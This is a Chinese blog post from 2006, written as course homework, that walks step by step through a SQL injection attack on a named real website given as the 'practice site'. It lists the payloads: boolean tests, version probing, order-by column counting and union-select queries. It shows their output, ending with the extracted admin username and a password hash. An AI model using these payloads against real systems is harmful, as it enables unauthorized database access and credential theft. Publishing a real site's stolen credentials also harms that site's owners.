电脑出问题了,没有听成课,遗憾啊。
自己去翻资料,试做一下做业了。

7月27日课程:简单的PHP注射

参考文章:http://bbs.vip8.org/read.php?tid=28960


原理文章:

http://bbs.vip8.org/read.php?tid=29060

练习网站:
http://www.digitimes.com.cn/pages/cover.php?id%A3%BD288=&id=501&id=617

目标直接给了,先打开网站吧。

注意啊,地址后面有php?id=xxx,一般的来说有这个的才会可以注。

好了,我们先来第一步,在地址后面加上 and 1=1 正常哦。和 and 1=2。发生错误啦。看到了吧,文章没有了。





这说明我们提交的and 1=1和and 1=2都被当作SQL语句执行。

既然这个可以执行,那么其他的语句也应该可以执行的。先确认一下是不是MYSQL数据库,在URL后面提交/*随便是什么东西、返回正常。

可以确认是MYSQL的,因为基本上支持/*注释都是MYSQL数据库。



下面我们看看可不可以union查询。


提交and ord(mid(version(),1,1))>51/* 这句的意思是查看数据库是不是大于3.0的。说一下,这些注射的代码我也不熟悉,但是,还是自己

一个个输入吧,这样才能达到熟悉的效果。

注意:ASCIl码51对应的是3,那么大于3的话当然就是4.0以上的。4.0以上支持union查询的,结果返回正常。

其实,现在想要找MYSQL版本3.0和以下的都不容易了。


下面我们看有没有ROOT权限。提交and (select count(*) from mysql.user)>0/*

结果返回错误

看来不是ROOT权限,对方MYSQL数据库没有读取权限。

既然不是ROOT也没有关系。既然支持union查询我们来暴字段数,提交order by 10/*,结果返回正常。

看来是大于10个字段的,继续提交order by 20/* 返回错误,小于20个字段,

提交提交order by 17/*正常。order by 18 当提交order by 19/*的时候返回错误。看来是18个字段。

继续提交 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/*,在页面暴出了数字


呵呵,在暴出的数字上加上user()和version()。

继续提交 and 1=2 union select 1,user(),version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/*,暴出用户名和版本号

digitimes@localhost
4.0.20a-nt



下面就猜用户名和密码了

一般的都是这个表 admin 或user。就用它来试试。

继续提交 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,username,password,13,14,15,16,17,18 from admin/*  

不行,试user。

提交 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,username,password,13,14,15,16,17,18 from user/*  

就得到这个啦

sa  
 
d692e9a1e52f4a6ab752d3561dc48183  


OK了。



到这里作业就完成了。应该有不少错误吧,希望大家指正。
最后编辑: pling 编辑于2006/07/28 22:42
Tags:
发表评论
表情
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
打开HTML
打开UBB
打开表情
隐藏
昵称   密码   游客无需密码
网址   电邮   [注册]